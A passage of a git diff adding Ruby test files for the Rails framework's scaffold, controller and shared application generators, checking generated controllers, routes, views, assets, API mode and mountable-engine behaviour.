+      assert_match(/patch user_url\(@user\), params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content)
+    end
+  end
+
+  def test_functional_tests_without_attributes
+    run_generator ["User"]
+
+    assert_file "test/controllers/users_controller_test.rb" do |content|
+      assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post users_url, params: \{ user: \{  \} \}/, content)
+      assert_match(/patch user_url\(@user\), params: \{ user: \{  \} \}/, content)
+    end
+  end
+
+  def test_skip_helper_if_required
+    run_generator ["User", "name:string", "age:integer", "--no-helper"]
+    assert_no_file "app/helpers/users_helper.rb"
+  end
+
+  def test_skip_layout_if_required
+    run_generator ["User", "name:string", "age:integer", "--no-layout"]
+    assert_no_file "app/views/layouts/users.html.erb"
+  end
+
+  def test_default_orm_is_used
+    run_generator ["User", "--orm=unknown"]
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/class UsersController < ApplicationController/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@users = User\.all/, m)
+      end
+    end
+  end
+
+  def test_customized_orm_is_used
+    klass = Class.new(Rails::Generators::ActiveModel) do
+      def self.all(klass)
+        "#{klass}.find(:all)"
+      end
+    end
+
+    Unknown::Generators.const_set(:ActiveModel, klass)
+    run_generator ["User", "--orm=unknown"]
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/class UsersController < ApplicationController/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@users = User\.find\(:all\)/, m)
+        assert_no_match(/@users = User\.all/, m)
+      end
+    end
+  ensure
+    Unknown::Generators.send :remove_const, :ActiveModel
+  end
+
+  def test_model_name_option
+    run_generator ["Admin::User", "--model-name=User"]
+    assert_file "app/controllers/admin/users_controller.rb" do |content|
+      assert_instance_method :index, content do |m|
+        assert_match("@users = User.all", m)
+      end
+    end
+  end
+
+  def test_controller_tests_pass_by_default_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails g controller dashboard foo` }
+      assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_controller_tests_pass_by_default_inside_full_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails g controller dashboard foo` }
+      assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_api_only_generates_a_proper_api_controller
+    run_generator ["User", "--api"]
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/class UsersController < ApplicationController/, content)
+      assert_no_match(/respond_to/, content)
+
+      assert_match(/before_action :set_user, only: \[:show, :update, :destroy\]/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@users = User\.all/, m)
+        assert_match(/render json: @users/, m)
+      end
+
+      assert_instance_method :show, content do |m|
+        assert_match(/render json: @user/, m)
+      end
+
+      assert_instance_method :create, content do |m|
+        assert_match(/@user = User\.new\(user_params\)/, m)
+        assert_match(/@user\.save/, m)
+        assert_match(/@user\.errors/, m)
+      end
+
+      assert_instance_method :update, content do |m|
+        assert_match(/@user\.update\(user_params\)/, m)
+        assert_match(/@user\.errors/, m)
+      end
+
+      assert_instance_method :destroy, content do |m|
+        assert_match(/@user\.destroy/, m)
+      end
+    end
+
+    assert_no_file "app/views/users/index.html.erb"
+    assert_no_file "app/views/users/edit.html.erb"
+    assert_no_file "app/views/users/show.html.erb"
+    assert_no_file "app/views/users/new.html.erb"
+    assert_no_file "app/views/users/_form.html.erb"
+  end
+
+  def test_api_controller_tests
+    run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}", "--api"]
+
+    assert_file "test/controllers/users_controller_test.rb" do |content|
+      assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post users_url, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}, as: :json/, content)
+      assert_match(/patch user_url\(@user\), params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}, as: :json/, content)
+      assert_no_match(/assert_redirected_to/, content)
+    end
+  end
+end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
new file mode 100644
index 0000000000..9926d58d16
--- /dev/null
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -0,0 +1,650 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold/scaffold_generator"
+
+class ScaffoldGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(product_line title:string product:belongs_to user:references)
+
+  setup :copy_routes
+
+  def test_scaffold_on_invoke
+    run_generator
+
+    # Model
+    assert_file "app/models/product_line.rb", /class ProductLine < ApplicationRecord/
+    assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/product_lines.yml"
+    assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/
+    assert_migration "db/migrate/create_product_lines.rb", /references :user/
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/resources :product_lines$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/product_lines_controller.rb" do |content|
+      assert_match(/class ProductLinesController < ApplicationController/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@product_lines = ProductLine\.all/, m)
+      end
+
+      assert_instance_method :show, content
+
+      assert_instance_method :new, content do |m|
+        assert_match(/@product_line = ProductLine\.new/, m)
+      end
+
+      assert_instance_method :edit, content
+
+      assert_instance_method :create, content do |m|
+        assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m)
+        assert_match(/@product_line\.save/, m)
+      end
+
+      assert_instance_method :update, content do |m|
+        assert_match(/@product_line\.update\(product_line_params\)/, m)
+      end
+
+      assert_instance_method :destroy, content do |m|
+        assert_match(/@product_line\.destroy/, m)
+      end
+
+      assert_instance_method :set_product_line, content do |m|
+        assert_match(/@product_line = ProductLine\.find\(params\[:id\]\)/, m)
+      end
+    end
+
+    assert_file "test/controllers/product_lines_controller_test.rb" do |test|
+      assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, test)
+      assert_match(/post product_lines_url, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+    end
+
+    # System tests
+    assert_file "test/system/product_lines_test.rb" do |test|
+      assert_match(/class ProductLinesTest < ApplicationSystemTestCase/, test)
+      assert_match(/visit product_lines_url/, test)
+      assert_match(/fill_in "Title", with: @product_line\.title/, test)
+      assert_match(/assert_text "Product line was successfully updated"/, test)
+    end
+
+    # Views
+    assert_no_file "app/views/layouts/product_lines.html.erb"
+
+    %w(index show).each do |view|
+      assert_file "app/views/product_lines/#{view}.html.erb"
+    end
+
+    %w(edit new).each do |view|
+      assert_file "app/views/product_lines/#{view}.html.erb", /render 'form', product_line: @product_line/
+    end
+
+    assert_file "app/views/product_lines/_form.html.erb" do |test|
+      assert_match "product_line", test
+      assert_no_match "@product_line", test
+    end
+
+    # Helpers
+    assert_file "app/helpers/product_lines_helper.rb"
+
+    # Assets
+    assert_file "app/assets/stylesheets/scaffold.css"
+    assert_file "app/assets/javascripts/product_lines.js"
+    assert_file "app/assets/stylesheets/product_lines.css"
+  end
+
+  def test_api_scaffold_on_invoke
+    run_generator %w(product_line title:string product:belongs_to user:references --api --no-template-engine --no-helper --no-assets)
+
+    # Model
+    assert_file "app/models/product_line.rb", /class ProductLine < ApplicationRecord/
+    assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/product_lines.yml"
+    assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/
+    assert_migration "db/migrate/create_product_lines.rb", /references :user/
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/resources :product_lines$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/product_lines_controller.rb" do |content|
+      assert_match(/class ProductLinesController < ApplicationController/, content)
+      assert_no_match(/respond_to/, content)
+
+      assert_match(/before_action :set_product_line, only: \[:show, :update, :destroy\]/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@product_lines = ProductLine\.all/, m)
+        assert_match(/render json: @product_lines/, m)
+      end
+
+      assert_instance_method :show, content do |m|
+        assert_match(/render json: @product_line/, m)
+      end
+
+      assert_instance_method :create, content do |m|
+        assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m)
+        assert_match(/@product_line\.save/, m)
+        assert_match(/@product_line\.errors/, m)
+      end
+
+      assert_instance_method :update, content do |m|
+        assert_match(/@product_line\.update\(product_line_params\)/, m)
+        assert_match(/@product_line\.errors/, m)
+      end
+
+      assert_instance_method :destroy, content do |m|
+        assert_match(/@product_line\.destroy/, m)
+      end
+    end
+
+    assert_file "test/controllers/product_lines_controller_test.rb" do |test|
+      assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, test)
+      assert_match(/post product_lines_url, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_no_match(/assert_redirected_to/, test)
+    end
+
+    # System tests
+    assert_no_file "test/system/product_lines_test.rb"
+
+    # Views
+    assert_no_file "app/views/layouts/product_lines.html.erb"
+
+    %w(index show new edit _form).each do |view|
+      assert_no_file "app/views/product_lines/#{view}.html.erb"
+    end
+
+    # Helpers
+    assert_no_file "app/helpers/product_lines_helper.rb"
+
+    # Assets
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_no_file "app/assets/javascripts/product_lines.js"
+    assert_no_file "app/assets/stylesheets/product_lines.css"
+  end
+
+  def test_functional_tests_without_attributes
+    run_generator ["product_line"]
+
+    assert_file "test/controllers/product_lines_controller_test.rb" do |content|
+      assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post product_lines_url, params: \{ product_line: \{  \} \}/, content)
+      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{  \} \}/, content)
+    end
+  end
+
+  def test_system_tests_without_attributes
+    run_generator ["product_line"]
+
+    assert_file "test/system/product_lines_test.rb" do |content|
+      assert_match(/class ProductLinesTest < ApplicationSystemTestCase/, content)
+      assert_match(/test "visiting the index"/, content)
+      assert_no_match(/fill_in/, content)
+    end
+  end
+
+  def test_scaffold_on_revoke
+    run_generator
+    run_generator ["product_line"], behavior: :revoke
+
+    # Model
+    assert_no_file "app/models/product_line.rb"
+    assert_no_file "test/models/product_line_test.rb"
+    assert_no_file "test/fixtures/product_lines.yml"
+    assert_no_migration "db/migrate/create_product_lines.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/resources :product_lines$/, route)
+    end
+
+    # Controller
+    assert_no_file "app/controllers/product_lines_controller.rb"
+    assert_no_file "test/controllers/product_lines_controller_test.rb"
+
+    # System tests
+    assert_no_file "test/system/product_lines_test.rb"
+
+    # Views
+    assert_no_file "app/views/product_lines"
+    assert_no_file "app/views/layouts/product_lines.html.erb"
+
+    # Helpers
+    assert_no_file "app/helpers/product_lines_helper.rb"
+
+    # Assets
+    assert_file "app/assets/stylesheets/scaffold.css", /:visited/
+    assert_no_file "app/assets/javascripts/product_lines.js"
+    assert_no_file "app/assets/stylesheets/product_lines.css"
+  end
+
+  def test_scaffold_with_namespace_on_invoke
+    run_generator [ "admin/role", "name:string", "description:string" ]
+
+    # Model
+    assert_file "app/models/admin.rb", /module Admin/
+    assert_file "app/models/admin/role.rb", /class Admin::Role < ApplicationRecord/
+    assert_file "test/models/admin/role_test.rb", /class Admin::RoleTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/admin/roles.yml"
+    assert_migration "db/migrate/create_admin_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    resources :roles\n  end$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/admin/roles_controller.rb" do |content|
+      assert_match(/class Admin::RolesController < ApplicationController/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@admin_roles = Admin::Role\.all/, m)
+      end
+
+      assert_instance_method :show, content
+
+      assert_instance_method :new, content do |m|
+        assert_match(/@admin_role = Admin::Role\.new/, m)
+      end
+
+      assert_instance_method :edit, content
+
+      assert_instance_method :create, content do |m|
+        assert_match(/@admin_role = Admin::Role\.new\(admin_role_params\)/, m)
+        assert_match(/@admin_role\.save/, m)
+      end
+
+      assert_instance_method :update, content do |m|
+        assert_match(/@admin_role\.update\(admin_role_params\)/, m)
+      end
+
+      assert_instance_method :destroy, content do |m|
+        assert_match(/@admin_role\.destroy/, m)
+      end
+
+      assert_instance_method :set_admin_role, content do |m|
+        assert_match(/@admin_role = Admin::Role\.find\(params\[:id\]\)/, m)
+      end
+    end
+
+    assert_file "test/controllers/admin/roles_controller_test.rb",
+                /class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/
+
+    assert_file "test/system/admin/roles_test.rb",
+                /class Admin::RolesTest < ApplicationSystemTestCase/
+
+    # Views
+    %w(index edit new show _form).each do |view|
+      assert_file "app/views/admin/roles/#{view}.html.erb"
+    end
+    assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+    # Helpers
+    assert_file "app/helpers/admin/roles_helper.rb"
+
+    # Assets
+    assert_file "app/assets/stylesheets/scaffold.css", /:visited/
+    assert_file "app/assets/javascripts/admin/roles.js"
+    assert_file "app/assets/stylesheets/admin/roles.css"
+  end
+
+  def test_scaffold_with_namespace_on_revoke
+    run_generator [ "admin/role", "name:string", "description:string" ]
+    run_generator [ "admin/role" ], behavior: :revoke
+
+    # Model
+    assert_file "app/models/admin.rb" # ( should not be remove )
+    assert_no_file "app/models/admin/role.rb"
+    assert_no_file "test/models/admin/role_test.rb"
+    assert_no_file "test/fixtures/admin/roles.yml"
+    assert_no_migration "db/migrate/create_admin_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/namespace :admin do resources :roles end$/, route)
+    end
+
+    # Controller
+    assert_no_file "app/controllers/admin/roles_controller.rb"
+    assert_no_file "test/controllers/admin/roles_controller_test.rb"
+
+    # System tests
+    assert_no_file "test/system/admin/roles_test.rb"
+
+    # Views
+    assert_no_file "app/views/admin/roles"
+    assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+    # Helpers
+    assert_no_file "app/helpers/admin/roles_helper.rb"
+
+    # Assets
+    assert_file "app/assets/stylesheets/scaffold.css"
+    assert_no_file "app/assets/javascripts/admin/roles.js"
+    assert_no_file "app/assets/stylesheets/admin/roles.css"
+  end
+
+  def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter
+    run_generator
+
+    # Add a |map| parameter to the routes block manually
+    route_path = File.expand_path("config/routes.rb", destination_root)
+    content = File.read(route_path).gsub(/\.routes\.draw do/) do |match|
+      "#{match} |map|"
+    end
+    File.open(route_path, "wb") { |file| file.write(content) }
+
+    run_generator ["product_line"], behavior: :revoke
+
+    assert_file "config/routes.rb", /\.routes\.draw do\s*\|map\|\s*$/
+  end
+
+  def test_scaffold_generator_on_revoke_does_not_mutilate_routes
+    run_generator
+
+    route_path = File.expand_path("config/routes.rb", destination_root)
+    content = File.read(route_path)
+
+    # Remove all of the comments and blank lines from the routes file
+    content.gsub!(/^  \#.*\n/, "")
+    content.gsub!(/^\n/, "")
+
+    File.open(route_path, "wb") { |file| file.write(content) }
+    assert_file "config/routes.rb", /\.routes\.draw do\n  resources :product_lines\nend\n\z/
+
+    run_generator ["product_line"], behavior: :revoke
+
+    assert_file "config/routes.rb", /\.routes\.draw do\nend\n\z/
+  end
+
+  def test_scaffold_generator_ignores_commented_routes
+    run_generator ["product"]
+    assert_file "config/routes.rb", /\.routes\.draw do\n  resources :products\n/
+  end
+
+  def test_scaffold_generator_no_assets_with_switch_no_assets
+    run_generator [ "posts", "--no-assets" ]
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_no_file "app/assets/javascripts/posts.js"
+    assert_no_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_no_assets_with_switch_assets_false
+    run_generator [ "posts", "--assets=false" ]
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_no_file "app/assets/javascripts/posts.js"
+    assert_no_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_no_scaffold_stylesheet_with_switch_no_scaffold_stylesheet
+    run_generator [ "posts", "--no-scaffold-stylesheet" ]
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_file "app/assets/javascripts/posts.js"
+    assert_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_no_scaffold_stylesheet_with_switch_scaffold_stylesheet_false
+    run_generator [ "posts", "--scaffold-stylesheet=false" ]
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_file "app/assets/javascripts/posts.js"
+    assert_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_with_switch_resource_route_false
+    run_generator [ "posts", "--resource-route=false" ]
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/resources :posts$/, route)
+    end
+  end
+
+  def test_scaffold_generator_no_helper_with_switch_no_helper
+    output = run_generator [ "posts", "--no-helper" ]
+
+    assert_no_match(/error/, output)
+    assert_no_file "app/helpers/posts_helper.rb"
+  end
+
+  def test_scaffold_generator_no_helper_with_switch_helper_false
+    output = run_generator [ "posts", "--helper=false" ]
+
+    assert_no_match(/error/, output)
+    assert_no_file "app/helpers/posts_helper.rb"
+  end
+
+  def test_scaffold_generator_no_stylesheets
+    run_generator [ "posts", "--no-stylesheets" ]
+    assert_no_file "app/assets/stylesheets/scaffold.css"
+    assert_file "app/assets/javascripts/posts.js"
+    assert_no_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_no_javascripts
+    run_generator [ "posts", "--no-javascripts" ]
+    assert_file "app/assets/stylesheets/scaffold.css"
+    assert_no_file "app/assets/javascripts/posts.js"
+    assert_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_scaffold_generator_outputs_error_message_on_missing_attribute_type
+    run_generator ["post", "title", "body:text", "author"]
+
+    assert_migration "db/migrate/create_posts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.string :title/, up)
+        assert_match(/t\.text :body/, up)
+        assert_match(/t\.string :author/, up)
+      end
+    end
+  end
+
+  def test_scaffold_generator_belongs_to
+    run_generator ["account", "name", "currency:belongs_to"]
+
+    assert_file "app/models/account.rb", /belongs_to :currency/
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.belongs_to :currency/, up)
+      end
+    end
+
+    assert_file "app/controllers/accounts_controller.rb" do |content|
+      assert_instance_method :account_params, content do |m|
+        assert_match(/permit\(:name, :currency_id\)/, m)
+      end
+    end
+
+    assert_file "app/views/accounts/_form.html.erb" do |content|
+      assert_match(/^\W{4}<%= form\.text_field :name, id: :account_name %>/, content)
+      assert_match(/^\W{4}<%= form\.text_field :currency_id, id: :account_currency_id %>/, content)
+    end
+  end
+
+  def test_scaffold_generator_password_digest
+    run_generator ["user", "name", "password:digest"]
+
+    assert_file "app/models/user.rb", /has_secure_password/
+
+    assert_migration "db/migrate/create_users.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.string :password_digest/, up)
+      end
+    end
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_instance_method :user_params, content do |m|
+        assert_match(/permit\(:name, :password, :password_confirmation\)/, m)
+      end
+    end
+
+    assert_file "app/views/users/_form.html.erb" do |content|
+      assert_match(/<%= form\.password_field :password, id: :user_password %>/, content)
+      assert_match(/<%= form\.password_field :password_confirmation, id: :user_password_confirmation %>/, content)
+    end
+
+    assert_file "app/views/users/index.html.erb" do |content|
+      assert_no_match(/password/, content)
+    end
+
+    assert_file "app/views/users/show.html.erb" do |content|
+      assert_no_match(/password/, content)
+    end
+
+    assert_file "test/controllers/users_controller_test.rb" do |content|
+      assert_match(/password: 'secret'/, content)
+      assert_match(/password_confirmation: 'secret'/, content)
+    end
+
+    assert_file "test/system/users_test.rb" do |content|
+      assert_match(/fill_in "Password", with: 'secret'/, content)
+      assert_match(/fill_in "Password Confirmation", with: 'secret'/, content)
+    end
+
+    assert_file "test/fixtures/users.yml" do |content|
+      assert_match(/password_digest: <%= BCrypt::Password.create\('secret'\) %>/, content)
+    end
+  end
+
+  def test_scaffold_tests_pass_by_default_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly do
+        `bin/rails g scaffold User name:string age:integer;
+        bin/rails db:migrate`
+      end
+      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_tests_pass_by_default_inside_namespaced_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits-admin --mountable` }
+
+    engine_path = File.join(destination_root, "bukkits-admin")
+
+    Dir.chdir(engine_path) do
+      quietly do
+        `bin/rails g scaffold User name:string age:integer;
+        bin/rails db:migrate`
+      end
+
+      assert_file "bukkits-admin/app/controllers/bukkits/admin/users_controller.rb" do |content|
+        assert_match(/module Bukkits::Admin/, content)
+        assert_match(/class UsersController < ApplicationController/, content)
+      end
+
+      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_tests_pass_by_default_inside_full_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly do
+        `bin/rails g scaffold User name:string age:integer;
+        bin/rails db:migrate`
+      end
+      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_tests_pass_by_default_inside_api_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable --api` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly do
+        `bin/rails g scaffold User name:string age:integer;
+        bin/rails db:migrate`
+      end
+      assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_tests_pass_by_default_inside_api_full_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full --api` }
+
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly do
+        `bin/rails g scaffold User name:string age:integer;
+        bin/rails db:migrate`
+      end
+      assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_on_invoke_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails generate scaffold User name:string age:integer` }
+
+      assert File.exist?("app/models/bukkits/user.rb")
+      assert File.exist?("test/models/bukkits/user_test.rb")
+      assert File.exist?("test/fixtures/bukkits/users.yml")
+
+      assert File.exist?("app/controllers/bukkits/users_controller.rb")
+      assert File.exist?("test/controllers/bukkits/users_controller_test.rb")
+
+      assert File.exist?("test/system/bukkits/users_test.rb")
+
+      assert File.exist?("app/views/bukkits/users/index.html.erb")
+      assert File.exist?("app/views/bukkits/users/edit.html.erb")
+      assert File.exist?("app/views/bukkits/users/show.html.erb")
+      assert File.exist?("app/views/bukkits/users/new.html.erb")
+      assert File.exist?("app/views/bukkits/users/_form.html.erb")
+
+      assert File.exist?("app/helpers/bukkits/users_helper.rb")
+
+      assert File.exist?("app/assets/javascripts/bukkits/users.js")
+      assert File.exist?("app/assets/stylesheets/bukkits/users.css")
+    end
+  end
+
+  def test_scaffold_on_revoke_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails generate scaffold User name:string age:integer` }
+      quietly { `bin/rails destroy scaffold User` }
+
+      assert_not File.exist?("app/models/bukkits/user.rb")
+      assert_not File.exist?("test/models/bukkits/user_test.rb")
+      assert_not File.exist?("test/fixtures/bukkits/users.yml")
+
+      assert_not File.exist?("app/controllers/bukkits/users_controller.rb")
+      assert_not File.exist?("test/controllers/bukkits/users_controller_test.rb")
+
+      assert_not File.exist?("test/system/bukkits/users_test.rb")
+
+      assert_not File.exist?("app/views/bukkits/users/index.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/edit.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/show.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/new.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/_form.html.erb")
+
+      assert_not File.exist?("app/helpers/bukkits/users_helper.rb")
+
+      assert_not File.exist?("app/assets/javascripts/bukkits/users.js")
+      assert_not File.exist?("app/assets/stylesheets/bukkits/users.css")
+    end
+  end
+end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
new file mode 100644
index 0000000000..5e75879964
--- /dev/null
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -0,0 +1,124 @@
+#
+# Tests, setup, and teardown common to the application and plugin generator suites.
+#
+module SharedGeneratorTests
+  def setup
+    Rails.application = TestApp::Application
+    super
+    Rails::Generators::AppGenerator.instance_variable_set("@desc", nil)
+
+    Kernel::silence_warnings do
+      Thor::Base.shell.send(:attr_accessor, :always_force)
+      @shell = Thor::Base.shell.new
+      @shell.send(:always_force=, true)
+    end
+  end
+
+  def teardown
+    super
+    Rails::Generators::AppGenerator.instance_variable_set("@desc", nil)
+    Rails.application = TestApp::Application.instance
+  end
+
+  def test_skeleton_is_created
+    run_generator
+
+    default_files.each { |path| assert_file path }
+  end
+
+  def test_plugin_new_generate_pretend
+    run_generator ["testapp", "--pretend"]
+    default_files.each { |path| assert_no_file File.join("testapp", path) }
+  end
+
+  def test_invalid_database_option_raises_an_error
+    content = capture(:stderr) { run_generator([destination_root, "-d", "unknown"]) }
+    assert_match(/Invalid value for \-\-database option/, content)
+  end
+
+  def test_test_files_are_skipped_if_required
+    run_generator [destination_root, "--skip-test"]
+    assert_no_file "test"
+  end
+
+  def test_name_collision_raises_an_error
+    reserved_words = %w[application destroy plugin runner test]
+    reserved_words.each do |reserved|
+      content = capture(:stderr) { run_generator [File.join(destination_root, reserved)] }
+      assert_match(/Invalid \w+ name #{reserved}\. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n/, content)
+    end
+  end
+
+  def test_name_raises_an_error_if_name_already_used_constant
+    %w{ String Hash Class Module Set Symbol }.each do |ruby_class|
+      content = capture(:stderr) { run_generator [File.join(destination_root, ruby_class)] }
+      assert_match(/Invalid \w+ name #{ruby_class}, constant #{ruby_class} is already in use\. Please choose another \w+ name\.\n/, content)
+    end
+  end
+
+  def test_shebang_is_added_to_rails_file
+    run_generator [destination_root, "--ruby", "foo/bar/baz", "--full"]
+    assert_file "bin/rails", /#!foo\/bar\/baz/
+  end
+
+  def test_shebang_when_is_the_same_as_default_use_env
+    run_generator [destination_root, "--ruby", Thor::Util.ruby_command, "--full"]
+    assert_file "bin/rails", /#!\/usr\/bin\/env/
+  end
+
+  def test_template_raises_an_error_with_invalid_path
+    quietly do
+      content = capture(:stderr) { run_generator([destination_root, "-m", "non/existent/path"]) }
+
+      assert_match(/The template \[.*\] could not be loaded/, content)
+      assert_match(/non\/existent\/path/, content)
+    end
+  end
+
+  def test_template_is_executed_when_supplied_an_https_path
+    path = "https://gist.github.com/josevalim/103208/raw/"
+    template = %{ say "It works!" }
+    template.instance_eval "def read; self; end" # Make the string respond to read
+
+    check_open = -> *args do
+      assert_equal [ path, "Accept" => "application/x-thor-template" ], args
+      template
+    end
+
+    generator([destination_root], template: path).stub(:open, check_open, template) do
+      quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
+    end
+  end
+
+  def test_skip_gemfile
+    assert_not_called(generator([destination_root], skip_gemfile: true), :bundle_command) do
+      quietly { generator.invoke_all }
+      assert_no_file "Gemfile"
+    end
+  end
+
+  def test_skip_bundle
+    assert_not_called(generator([destination_root], skip_bundle: true), :bundle_command) do
+      quietly { generator.invoke_all }
+      # skip_bundle is only about running bundle install, ensure the Gemfile is still
+      # generated.
+      assert_file "Gemfile"
+    end
+  end
+
+  def test_skip_git
+    run_generator [destination_root, "--skip-git", "--full"]
+    assert_no_file(".gitignore")
+    assert_no_directory(".git")
+  end
+
+  def test_skip_keeps
+    run_generator [destination_root, "--skip-keeps", "--full"]
+
+    assert_file ".gitignore" do |content|
+      assert_no_match(/\.keep/, content)
+    end
+
